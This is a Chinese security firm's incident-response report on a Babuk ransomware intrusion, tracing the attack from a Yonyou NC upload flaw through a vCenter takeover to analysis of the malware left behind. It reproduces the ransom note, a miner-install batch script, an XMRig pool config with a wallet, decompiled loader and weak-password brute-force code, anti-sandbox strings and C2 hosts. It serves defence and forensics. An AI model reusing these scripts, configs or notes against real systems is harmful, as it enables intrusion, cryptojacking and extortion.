【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目

1.背景

       2024年4月11日,某影视公司的服务器遭受了勒索软件攻击,随后向我司寻求帮助进行恢复。经过我司溯源排查,勒索组织通过一处用友NC资产进行入侵,攻击者利用国产工具横移了数小时后实施勒索。其中一台超融合(vcenter)成了攻击者重要跳板,但也因为这台重要跳板的“端点挂全部挂”的特性,勒索攻击得到了有效地“自动”遏制,最后排查得出30多台服务器被勒索,重要系统被锁定无法使用,溯源过程中还发现了多个挖矿木马,目前尚不清楚该挖矿木马是否与此次勒索病毒组织有关联,但这也揭示了客户网络安全防护的薄弱之处。

       经分析,确认该病毒家族为Babuk,加密之后的文件后缀为.babyk。我司解密专家通过多种数据恢复手段成功将加密文件全部恢复,经负责人确认恢复文件内容无误。

       在2024年4月11日至2024年4月20日期间,我司组织了6人次的应急响应团队,为客户受害服务器提供数据备份、溯源分析、漏洞修复、网络排查、渗透测试、安全加固等多项工作。同时,公司网络安全实验室的多位安全专家参与了病毒的逆向分析、日志溯源分析和数据恢复工作,运维专家根据目前现场运维环境及网络架构提出了针对性的安全建设意见。整体圆满完成各项任务,达到客户要求指标。

2.溯源分析

2.1 受灾情况统计

       2024年4月12日,Solar应急响应团队到达该集团现场,对受灾服务器进行断网并排查,最终排查情况如下:

被加密服务器数量33台
被加密文件总数287938个
被加密数据大小12.45TB
后门木马62个
黑客利用工具7个
数据恢复时长1天
数据恢复率99%

      统计出的被加密服务器情况:

顺序IP服务器名称加密时间文件总数加密文件总数
1192.168.0.112024.04.0716560414938
2192.168.0.222024.04.07341511432435
3192.168.0.332024.04.07172396557963
...省略数行

   表中数据已脱敏,仅作示例参考

2.2 最初攻击时间

      1.在2024-04-06 21:21:58攻击者(104.234.240.225)探测到一处用友NC6.5资产存在saveXmlToFileServlet任意文件上传漏洞,利用该漏洞成功突破边界拿到了第一个shell。后续用友官方人员利用工具确认了此漏洞存在。

               

图1 用友自测工具扫描结果图

                                  

图2 中间件日志

       木马存在一定的混淆特征,将常规的\u给混了,用替换将不合规的全换回来就能看见明文。明文下的webshell也不难理解,参数zxc,传入A83In中,构造ProcessBuilder对象,调用cmd /C 执行A83In,中间符号并无意义。

图片

图3 混淆的jsp木马

图片

图4 解开混淆后的明文

2.3 其他工具利用

      2.在2024.04.06-22:37攻击者就上传了s6.exe,经过确认是内防渗透工具fscan.exe。对内网进行扫描,命中了数台主机,其中就有那台“重要的跳板机”vcenter(超融合)。

fscan.exe:一款内网综合扫描工具,该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

s6.exe通过命令可进行查看版本信息,为V1.8.3,对比github上的fscan发现hash一致未做编译操作。

SHA1:5a341a41bb909bf577465491420e3fce6001c5cf

版本:V1.8.3

工具链接:https://github.com/shadow1ng/fscan/releases

图5 fscan落地

图片

图6 fscan扫描结果

2.4 日志排查

      3.攻击者于2024/4/7 01:32:09使用vck.exe(VcenterKiller利用工具)对vcenter平台进行攻击,分别使用了CVE-2021-21972和CVE-2021-21985。

VcenterKiller:一款针对Vcenter的综合验证工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005,提供一键上传webshell,命令执行或者上传公钥并使用SSH连接的功能,以及针对Apache Log4j CVE-2021-44228漏洞在Vcenter上的检测以及利用。

vck.exe通过命令可进行查看版本信息,为V1.3.6,对比github上的VcenterKiller发现hash一致未做编译操作。SHA1:804858fc2546fc9cd60eb075082b118ffaeb18a8

版本:V1.3.6

工具链接:https://github.com/Schira4396/VcenterKiller/releases/tag/v1.3.7

图片

图7 首次开始攻击vcenter平台

      4.攻击者在2024/4/7 02:27成功对vcenter上传shell,并在2024/4/7 02:28:53访问webshell进行操作。攻击期间攻击者于2024/4/7 1:46上传了另一个木马,里面有一个IP185.196.11.210,在日志里并没有成功触发。

图8 vcenter上webshell落地时间

图片

     图9 访问webshell开始进行攻击

图片

图10 offline_bundle木马

      5.在2024/4/7 3:06,攻击者翻到了vcenter的凭证,因此在2024/4/7 3:57:05登陆了vcenter平台直接对其他主机的攻击。此刻的攻击者还没意识到“问题”所在。

图片

图11 打包凭证xxs.zip

图片

图12 成功登陆vcenter平台

      6.攻击者利用vcenter平台于2024/04/07 4:29:3登陆第六台服务器和第七台服务器,在上面直接对服务器进行攻击操作。

图片

图13 成功登陆第六台服务器

图片

图14 成功登陆第七台服务器

      7.在2024/04/07 4:35:48,攻击者在第七台服务器上使用rdp连接第五台服务器,并发现该数据主机的rdp密码。

图片

图15 利用rdp登陆第五台服务器

图片

图16 第七台服务器上记录了第五台服务器的密码

      8.后续我们通过恢复手段发现,攻击者在2024/04/07 04:46左右返回了vcenter利用上面获得的密码登陆第五台服务器,并做了frp代理(工具已删除)。

图片

图17 攻击者利用vcenter登陆第五台服务器

图18 frp执行证明贴图

      9.攻击者在第五台服务器上翻找,打开了运维常用的secureCRT,里面恰好记录两台主机的密码,这样第五台服务器成为了下一个跳板。

图片

图19 SecureCRT登陆缓存

      10.由于加密的工具均被删除,利用everything可以得知加密开始时间为2024.04.07 05:09。

图片

图20 加密开始时间

       11.攻击者在于2024.04.07 06:34:50将操作日志全部清除。但是攻击者想不到的是,加密完一部分主机后,其他横不过去了宕掉了。原因在于,这款超融合的特性,只要下面的节点(端点)挂掉,其他的就不能登上去了,而vcenter在超融合里自然就过不去了,勒索攻击至此被“自动”遏制了。

图片

图21 日志被清除

       12.攻击者104.234.240.225属于加拿大 多伦多,同段多为代理和木马主机。

图片

图22 攻击者IP溯源

       13.对用友NC6.5系统进行渗透测试,同时厂家用友对该系统进行全面扫描,发现确实存在文件上传漏洞,与上述吻合。

图23 我方人员渗透测试贴图

图片

图24 厂家用友扫描贴图

2.5 后门排查

图片

图片

图片

图片

图1 黑客使用的工具

图片

图2 黑客上传的木马

图片

图片

图3 黑客地址


 ██████╗  ██████╗ ██████╗ ███████╗    ██████╗ ███████╗██╗      █████╗ ██╗  ██╗    ██╗██╗██╗
██╔═══██╗██╔═══██╗██╔══██╗██╔════╝    ██╔══██╗██╔════╝██║     ██╔══██╗╚██╗██╔╝    ██║██║██║
██║   ██║██║   ██║██████╔╝███████╗    ██████╔╝█████╗  ██║     ███████║ ╚███╔╝     ██║██║██║
██║   ██║██║   ██║██╔═══╝ ╚════██║    ██╔══██╗██╔══╝  ██║     ██╔══██║ ██╔██╗     ╚═╝╚═╝╚═╝
╚██████╔╝╚██████╔╝██║     ███████║    ██║  ██║███████╗███████╗██║  ██║██╔╝ ██╗    ██╗██╗██╗
 ╚═════╝  ╚═════╝ ╚═╝     ╚══════╝    ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝    ╚═╝╚═╝╚═╝
                                                                                           


What happened?
---------------------------------------------------------------
Your computers and servers have been encrypted, which is fundamentally different from normal file damages.
And you can save yourself the trouble of going to the internet to find a way to decrypt them, because unless you pay the ransom.
Even if God comes, he will not be able to help you recover them!


What guarantees?
---------------------------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
You can contact us to test an unimportant encrypted file and we will decrypt it to prove that we have the ability to decrypt them.


How to canotact us?A
---------------------------------------------------------------
Your encryption ID:7gui):

You can contact us at the email address below:

ijtg5gr@keemail.me
ag55htr@keemail.me


How to Pay?
---------------------------------------------------------------
Please pay $20000 worth of bitcoins(BTC) to the address below:

bc1qz23mpc3qdy02jzw64xw9zhe4s275un40efsd2l

We will send you the decryption program after we confirm your payment.


---------------------------------------------------------------
*****WARNING: You have up to 7 days to consider whether or not to make a payment,
              so hurry or you may lose your files and data forever,
              And, we will make all your data available to the Internet.

图4 勒索信内容

图片

图5 加密后缀

2.6 详细攻击路径

      2024年3月24日,根据对日志的调研分析,安全专家已梳理出入侵路线如下(已脱敏):

      攻击者在2024/04/07针对集团主机实施勒索攻击,在2024/04/06通过对用友NC6.5系统漏洞进行利用成功获取webshelll,随后对内网进行扫描获取vcenter平台的登陆权限。攻击者在2024/04/07通过vcenter平台登陆其中一台受害主机拿到第五台服务器的RDP密码,之后在第五台服务器主机的运维工具上获得其他受害主机的密码。最后攻击者在2024/04/07 5:09实施勒索攻击。期间攻击者利用IP185.196.11.210、104.234.240.225均被判定为恶意IP,由于攻击者将windows日志和其他重要日志清除,无法捕获加密器。

图片

3.恶意文件分析

       溯源过程中我们提取到了加密器并且还提取到了疑似黑客留下的其他攻击工具、挖矿木马,下文一一进行了列举分析,因受篇幅影响,针对加密器的分析会在下篇文章进行推送。

3.1 gykauy.exe文件信息

大小gykauy.exe(221277 bytes)
操作系统Windows
架构i386
类型exe
字节序Little Endian
SHA2562f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8
大小gykauy.exe(221277 bytes)
操作系统Windows
架构i386

3.1.1 混淆去除

      两种混淆模式:

      1.利用异常,抛出异常后接收,干扰控制流分析。  

图片

      2.类似vmp的垃圾指令,执行但不影响程序环境.这张图中,混淆指令从0x401189开始,到达0x4011f1结束。

图片

      ida的解析:

图片

3.1.2 第一层外壳文件逆向分析

      以下分许全部基于去除混淆之后的idb文件。

3.1.2.1 主函数

      简单地输出调试信息,再检测命令行是否为字符串”Win7”.然后跳入对应的函数,这些函数的区别在第二层壳中显示出。

图片

      解密pe文件,并加载,后跳至导出表的不同函数。

图片

3.1.2.2 解密函数

          简单的异或加密,中间加了Sleep对抗沙箱.

图片

3.1.2.3 加载pe文件

      常规加载方式,分配内存,解析重定位,填充iat,恢复页面属性,调用入口函数.

      加载主函数:

int *__cdecl load_pe(_DWORD *a1)
{
  int *result; // eax
  char *v2; // edi
  int *v3; // esi
  HANDLE ProcessHeap; // eax
  int *v5; // ebx
  char *v6; // eax
  char *v7; // eax
  int *v8; // ecx
  int v9; // eax
  int *v10; // eax
  int *v11; // [esp+10h] [ebp-4h]
 
  if ( *(_WORD *)a1 != 'ZM' )
    return 0;
  v2 = (char *)a1 + a1[15];
  if ( *(_DWORD *)v2 != 'EP' )
    return 0;
  v3 = (int *)VirtualAlloc(*((LPVOID *)v2 + 13), *((_DWORD *)v2 + 20), 0x2000u, 4u);
  v11 = v3;
  if ( !v3 )
  {
    result = (int *)VirtualAlloc(0, *((_DWORD *)v2 + 20), 0x2000u, 4u);
    v11 = result;
    if ( !result )
      return result;
    v3 = result;
  }
  ProcessHeap = GetProcessHeap();
  v5 = (int *)HeapAlloc(ProcessHeap, 0, 0x14u);
  v5[1] = (int)v3;
  v5[3] = 0;
  v5[2] = 0;
  v5[4] = 0;
  VirtualAlloc(v3, *((_DWORD *)v2 + 20), 0x1000u, 4u);
  v6 = (char *)VirtualAlloc(v3, *((_DWORD *)v2 + 21), 0x1000u, 4u);
  qmemcpy(v6, a1, *((_DWORD *)v2 + 21) + a1[15]);
  v7 = &v6[a1[15]];
  *v5 = (int)v7;
  *((_DWORD *)v7 + 13) = v11;
  alloc_segs((int)a1, (int)v2, v5);
  v8 = (int *)*((_DWORD *)v2 + 13);
  if ( v11 != v8 )
    process_relocs(v5, (char *)v11 - (char *)v8);
  if ( !fill_iat(v5) )
    goto LABEL_14;
  protect_memory(v5);
  v9 = *(_DWORD *)(*v5 + 40);
  if ( v9 )
  {
    v10 = (int *)((char *)v11 + v9);
    if ( !v10 || !((int (__stdcall *)(int *, int, _DWORD))v10)(v11, 1, 0) )// 调用脱壳后dll的dllentrypoint
    {
LABEL_14:
      free_all(v5);
      return 0;
    }
    v5[4] = 1;
  }
  return v5;
}

3.1.3 第二层壳(dll)分析

大小Space.dll(175104 bytes)
操作系统Windows
架构i386
类型dll
字节序Little Endian
SHA25606ade8d134978874bbd191717433041dd743a18fe6524a72ab0afc3107940e79

      导出表:Loginfo是上文命令行传win7时候调用的.FE就是不含win7的时候调用。

图片

3.1.3.1 dll逆向分析

      以下内容基于FE函数的分析,即命令行不含有win7.loginfo和fe的区别在于win7缺少自删除,添加服务,自我复制。

3.1.3.2 初始化

      dll的入口点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数。

图片

图片

图片

      部分字符串如图所示,其余的都是一些无用字符串,是互斥量名,服务名之类.

      加密的恶意地址:

图片

图片

      端口0x760e;

图片

图片

      一些控制变量;

图片

3.1.3.3 主循环函数

图片

      Main_loop_func:

图片

            打开服务注册表:

图片

            创建服务,自我复制到随机文件名;

图片

            设置服务失败操作,自动重启。

图片

             使用vbs实现自删除。

图片

             创建服务,设置服务程序。

图片

图片

            以用户模式创建进程。

图片

            综上,服务操作为,创建服务,以用户身份创建新进程运行恶意程序的网络操作。

            自我复制

图片

3.1.3.4 网络操作

      这些网络操作由于实际没有开启控制变量,所以暂时不会运行。

      解密网络地址:

图片

       解密函数:

图片

      初始化互斥量,加载socket库:

图片

      连接恶意服务器,使用tcp协议:

图片

       创建下载线程:

图片

      下载后解压,使用zlib 1.2.5:

图片

      前面是库函数代码,红圈这里调用程序自己的组件。

      获取系统信息,主频,内存大小,时间等等。

图片

       zlib压缩发送到恶意服务器。

图片

      程序组件中有一些键盘,音视频,url下载之类的,应该是功能组件,但是这里没有运行,没有下载内容,参数未知,所以无法分析。

图片

图片

图片

3.1.3.5小结

      本恶意程序运行后,解密pe文件,该pe文件获取系统信息,连接恶意地址,压缩并发送系统信息,同时下载内容,解压后获得一些信息,使用这些信息运行木马组件。

      恶意地址 : vig.nishabig.pro:30222

3.2 1110.exe文件信息

文件名1110.exe
大小5693307(5.43 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD5dbe2a40d35e0aeca8107ce6e533f4b5a
SHA256399c78458edbe427dc7a66c123b8503a2ccc6b8cc4b80502774315305cb9bac6

3.2.1 恶意行为分析

      文件为自解压程序,在程序的附加节中可以得到压缩数据,且压缩数据格式为RAR。

图片

       解压可得到以下内容,自解压程序会解压程序到目录C:/IDE/Microsoft/5/

图片

      其中3.bat

C:/IDE/Microsoft/5/nssm.exe install javf C:/IDE/Microsoft/5/javasgs.exe
 
C:/windows/system32/net start javf
 
del C:/IDE/Microsoft/5/3.bat

      config.json

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 70,
        "max-cpu-usage": 70,
        "asm": true,
        "argon2-impl": null,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "xmr.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "aaaaaaaa.cyou:443",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "asia.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "us.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "eu.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "dns": {
        "ipv6": false,
        "ttl": 10
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true
}

3.2.2 小结

      运行自解压程序之后会解压在文件夹C:/IDE/Microsoft/5/下,并且启动3.bat完成挖矿程序的安装与运行。

3.3 dgbggrcn.exe文件信息

文件名dgbggrcn.exe
大小6104064(5.82 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD55e291e4b7e16b673814e797c328e79dc
SHA256f30498c8c98dd403d9304868e42096f8320bd14aaa4b10c3f01d5802ca5a9a13
文件名dsvvbfdcn.exe
大小6104064(5.82 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD53a977a9bf985854d664b8d1ccf33d0f8
SHA256e4f87ed86f1c054b53389d12a86e724489f00040cc5f3b48ce89da09a596116a

      文件相似度

图片

      两个文件相似度很高,我们选取其中一个分析即可,接下来的分析均基于dgbggrcn.exe.

3.3.1 威胁分析

      程序首先会在当前环境中寻找TXnbib.dll,若没有找到,则进入函数sub_3C1EB0进行更进一步处理

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  HMODULE ModuleHandleA; // [esp+0h] [ebp-18h]
  void *Block; // [esp+4h] [ebp-14h]
  CHAR ModuleName[12]; // [esp+8h] [ebp-10h] BYREF

  strcpy(ModuleName, "TXnbib.dll");
  ModuleHandleA = GetModuleHandleA(ModuleName);
  if ( !ModuleHandleA )
  {
    Block = malloc(0x40000000u);
    memset(Block, 65, 0x40000000u);
    off_41B3B0(10);
    j___free_base(Block);
    sub_3C1EB0(0, (int)Block);
    while ( 1 )
      off_41B3B0(10000);
  }
  sub_3C1040(ModuleHandleA);
  return 0;
}

        查看函数sub_3C1EB0此处会对数据进行恢复

int __cdecl sub_3C1EB0(int a1, int a2)
{
  char *v2; // ecx
  char *v3; // esi
  int *v4; // eax
  void (*v6)(void); // esi

  v3 = v2;
  sub_3C1E50(aMz, dword_3D47EC, dword_3D47F0);//解密
  v4 = sub_3C1970(aMz);//在此处下断点
  if ( !v4 )
    return off_41B3B0(0);
  v6 = (void (*)(void))sub_3C1C40(v4, v3);
  off_41B3B0(0);
  if ( v6 )
  {
    v6();
    memset(aMz, 0, 0x46000u);
  }
  off_41B3B0(0);
  return sub_3C1DD0(a1, a2);
}

图片

         dump下此处内存,即可得到TXnbib.dll

3.3.2 TXnbib.dll

      去除TXnbib.dll的附加节之后得到以下信息

文件名TXnbib.dll
大小233472(228.00 KiB)
操作系统Windows(XP)
架构I386
模式32位
类型DLL
字节序LE
MD513f0c0fe9a96c36863ae74c7f453b99d
SHA256dccf9a931c0074a79ca31d46ad5f93e2f8e0eebd5d2f2b6d8fb9057088a2fced

      分析此dll的字符串

      疑似比特地址

.data:1002CFA8        0000008E        C        -o stratum+tcp://cn.t1linux.com:34965 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p I

       大量弱密码

.data:1002DF58        0000000B        C        0123456789
.data:1002DF6C        00000008        C        0123456
.data:1002DF74        0000000A        C        password1
.data:1002DF80        00000007        C        qaz123
.data:1002DF88        00000007        C        qqqqqq
.data:1002DF90        00000007        C        asdfgh
.data:1002DF98        00000007        C        asd123
.data:1002DFA0        00000008        C        zxcvbnm
.data:1002DFA8        00000007        C        zxcvbn
.data:1002DFB0        00000007        C        a1b2c3
.data:1002DFB8        00000007        C        aaaaaa
.data:1002DFC4        00000007        C        123abc
.data:1002DFCC        00000007        C        abc123
.data:1002DFD4        00000007        C        qwerty
.data:1002DFDC        0000000B        C        qwertyuiop
.data:1002DFE8        0000000A        C        qazwsxedc
.data:1002DFF4        00000007        C        qazwsx
.data:1002DFFC        00000008        C        qwer123
.data:1002E004        00000009        C        qwer1234
.data:1002E010        00000007        C        qwe123
.data:1002E018        0000000A        C        111222333
.data:1002E024        00000007        C        111222
.data:1002E02C        00000007        C        112233
.data:1002E034        0000000C        C        11111111111
.data:1002E040        00000009        C        11111111
.data:1002E04C        00000007        C        111111
.data:1002E058        00000009        C        88888888
.data:1002E064        00000007        C        888888
.data:1002E074        00000009        C        66666666
.data:1002E080        00000007        C        666666
.data:1002E098        0000000A        C        123456789
.data:1002E0A4        00000009        C        12345678
.data:1002E0BC        00000008        C        1234567
.data:1002E0C4        00000007        C        123123
.data:1002E0D4        00000007        C        123456
.data:1002E0DC        00000009        C        pa$$word
.data:1002E0E8        00000009        C        passw0rd
.data:1002E0F4        00000009        C        Password
.data:1002E110        00000008        C        a123456
.data:1002E118        00000009        C        admin123
.data:1002E124        00000006        C        guest
.data:1002E12C        00000007        C        admin$
.data:1002E134        00000006        C        admin
.data:1002E13C        00000009        C        password

        常见虚拟机与调试器判断

.data:1002DCD4        00000015        C        ImmunityDebugger.exe
.data:1002DCEC        0000000B        C        windbg.exe
.data:1002DCF8        0000000C        C        x64_dbg.exe
.data:1002DD04        0000000C        C        OllyICE.exe
.data:1002DD10        0000000C        C        OllyDBG.EXE
.data:1002DD1C        0000000C        C        VBoxRes.dll
.data:1002DD28        0000000E        C        Sandboxie.exe
.data:1002DD38        0000000B        C        Anubis.exe
.data:1002DD44        0000000B        C        Cuckoo.exe
.data:1002DD50        0000000C        C        SbieSvc.exe
.data:1002DD5C        00000013        C        sandboxierpcss.exe
.data:1002DD70        00000018        C        sandboxiedcomlaunch.exe
.data:1002DD88        0000000C        C        SbieDrv.sys
.data:1002DD94        0000000C        C        vboxdrv.sys
.data:1002DDA0        00000017        C        VBoxGuestAdditions.sys
.data:1002DDB8        0000000C        C        Vboxusb.sys
.data:1002DDC4        0000000F        C        Vboxusbmon.sys
.data:1002DDD4        0000000F        C        vboxnetadp.sys
.data:1002DDE4        00000011        C        VirtualBox Guest
.data:1002DDF8        00000010        C        Virtual Machine
.data:1002DE08        00000007        C        VMware 
.data:1002DE20        0000000D        C        VMware Tools

        常见操作系统

.data:1002DE34        0000000B        C        Windows XP
.data:1002DE40        00000017        C        Windows Server 2003 R2
.data:1002DE58        00000014        C        Windows Server 2003
.data:1002DE6C        00000024        C        Windows XP Professional x64 Edition
.data:1002DE90        00000014        C        Windows Server 2008
.data:1002DEA4        0000000E        C        Windows Vista
.data:1002DEB4        00000017        C        Windows Server 2008 R2
.data:1002DECC        0000000A        C        Windows 7
.data:1002DED8        00000014        C        Windows Server 2012
.data:1002DEEC        0000000A        C        Windows 8
.data:1002DEF8        0000000B        C        Windows 10
.data:1002DF04        0000000C        C        Windows 8.1

        虚拟机判断

int sub_10009510()
{
  SC_HANDLE v0; // ebp
  struct _ENUM_SERVICE_STATUSA *v2; // esi
  DWORD v3; // ebx
  PCSTR *p_lpDisplayName; // esi
  DWORD ServicesReturned; // [esp+10h] [ebp-Ch] BYREF
  DWORD ResumeHandle; // [esp+14h] [ebp-8h] BYREF
  DWORD pcbBytesNeeded; // [esp+18h] [ebp-4h] BYREF

  v0 = OpenSCManagerA(0, 0, 4u);
  if ( !v0 )
    return -1;
  pcbBytesNeeded = 0;
  ServicesReturned = 0;
  ResumeHandle = 0;
  v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000u);
  if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
    return -1;
  v3 = 0;
  if ( ServicesReturned )
  {
    p_lpDisplayName = (PCSTR *)&v2->lpDisplayName;
    while ( !StrStrIA(*p_lpDisplayName, aVmwareTools)
         && !StrStrIA(*p_lpDisplayName, aVmware_0)
         && !StrStrIA(*p_lpDisplayName, aVirtualMachine)
         && !StrStrIA(*p_lpDisplayName, aVirtualboxGues) )
    {
      ++v3;
      p_lpDisplayName += 9;
      if ( v3 >= ServicesReturned )
        goto LABEL_12;
    }
    return 1;
  }
  else
  {
LABEL_12:
    CloseServiceHandle(v0);
    return 0;
  }
}

        检查开放的端口,并尝试使用暴力枚举弱密码破解来获取对系统的访问权限。

int sub_100097E0()
{
  int result; // eax
  struct hostent *v1; // ecx
  int v2; // eax
  const void **v3; // eax
  const void *v4; // esi
  unsigned int h_length; // eax
  int v6; // edx
  int *v7; // ebx
  int v8; // ebp
  char *v9; // esi
  int *v10; // edi
  int v11; // eax
  int v12; // [esp+Ch] [ebp-258h]
  int j; // [esp+10h] [ebp-254h]
  int i; // [esp+14h] [ebp-250h]
  struct hostent *v15; // [esp+18h] [ebp-24Ch]
  int v16; // [esp+1Ch] [ebp-248h]
  int v17; // [esp+20h] [ebp-244h]
  int v18[3]; // [esp+28h] [ebp-23Ch] BYREF
  int v19[6]; // [esp+34h] [ebp-230h] BYREF
  int v20[70]; // [esp+4Ch] [ebp-218h] BYREF
  char Buffer[128]; // [esp+164h] [ebp-100h] BYREF
  char name[125]; // [esp+1E4h] [ebp-80h] BYREF
  __int16 v23; // [esp+261h] [ebp-3h]
  char v24; // [esp+263h] [ebp-1h]

  v19[0] = (int)aAdministrator;
    ...省略
  v20[66] = (int)aRoot;
  v20[67] = (int)aServer;
  v20[68] = (int)aComputer;
  v20[69] = 0;
  result = sub_100097A0();
  if ( result )
  {
    memset(name, 0, sizeof(name));
    v23 = 0;
    v24 = 0;
    if ( !gethostname(name, 128) )
    {
      v1 = gethostbyname(name);
      v15 = v1;
      if ( v1 )
      {
        v2 = 0;
        for ( i = 0; ; i += 4 )
        {
          v3 = (const void **)((char *)v1->h_addr_list + v2);
          if ( !*v3 )
            break;
          v4 = *v3;
          h_length = v1->h_length;
          memset(v18, 0, sizeof(v18));
          v12 = 0;
          qmemcpy(v18, v4, h_length);
          memset(Buffer, 0, sizeof(Buffer));
          v16 = BYTE1(v18[0]);
          v17 = LOBYTE(v18[0]);
          do
          {
            v6 = 0;
            for ( j = 0; j <= 255; ++j )
            {
              memset(Buffer, 0, sizeof(Buffer));
              sprintf(Buffer, "%d.%d.%d.%d", v17, v16, v12, v6);
              if ( aAdministrator )
              {
                v7 = v19;
                while ( !asc_1002CA9C )
                {
LABEL_14:
                  v11 = v7[1];
                  ++v7;
                  if ( !v11 )
                    goto LABEL_15;
                }
                v8 = *v7;
                v9 = asc_1002CA9C;
                v10 = v20;
                while ( 1 )
                {
                  Sleep(5u);
                  if ( sub_10009C90(Buffer, v8, v9) )
                    break;
                  v9 = (char *)v10[1];
                  ++v10;
                  if ( !v9 )
                    goto LABEL_14;
                }
              }
LABEL_15:
              v6 = j + 1;
            }
            ++v12;
          }
          while ( v12 <= 255 );
          v1 = v15;
          v2 = i + 4;
        }
      }
    }
    WSACleanup();
    return 1;
  }
  return result;
}

3.3.3 恶意行为

      此DLL会访问 216.105.98.122:3666 (mon.nishabig.pro),根据威胁情报

图片

      释放文件1HI.exe

文件名1HI.exe
大小1341952(1.28 MiB)
操作系统Windows(Vista)
架构AMD64
模式64 位
类型控制台
字节序LE
MD53385ee53b1cae650bb2d8dd0895f15e4
SHA256026a44b6910001ad3700f3c164cbbf5df3a6701d091f83684cb650106ddcd58e

3.3.4 1HI.exe

      以下日志被程序删除

      在其中找到了字符串

https://xmrig.com/docs/algorithms

图片

   猜测此程序为挖矿程序

3.3.5 小结

   dgbggrcn.exe首先判断环境中是否TXnbib.dll,若存在,则直接调用TXnbib.dll导出表中的恶意函数,若环境中不存在,则在自己的程序内部解密出TXnbib.dll后运行其中的恶意函数

         在TXnbib.dll会对电脑的环境进行检查,若电脑处于调试环境或者虚拟机环境中则不运行恶意行为,同时此程序会扫描电脑开放的端口,并使用常见的弱密码尝试获得权限

   TXnbib.dll会请求 216.105.98.122:3666 (mon.nishabig.pro),具体作用未知

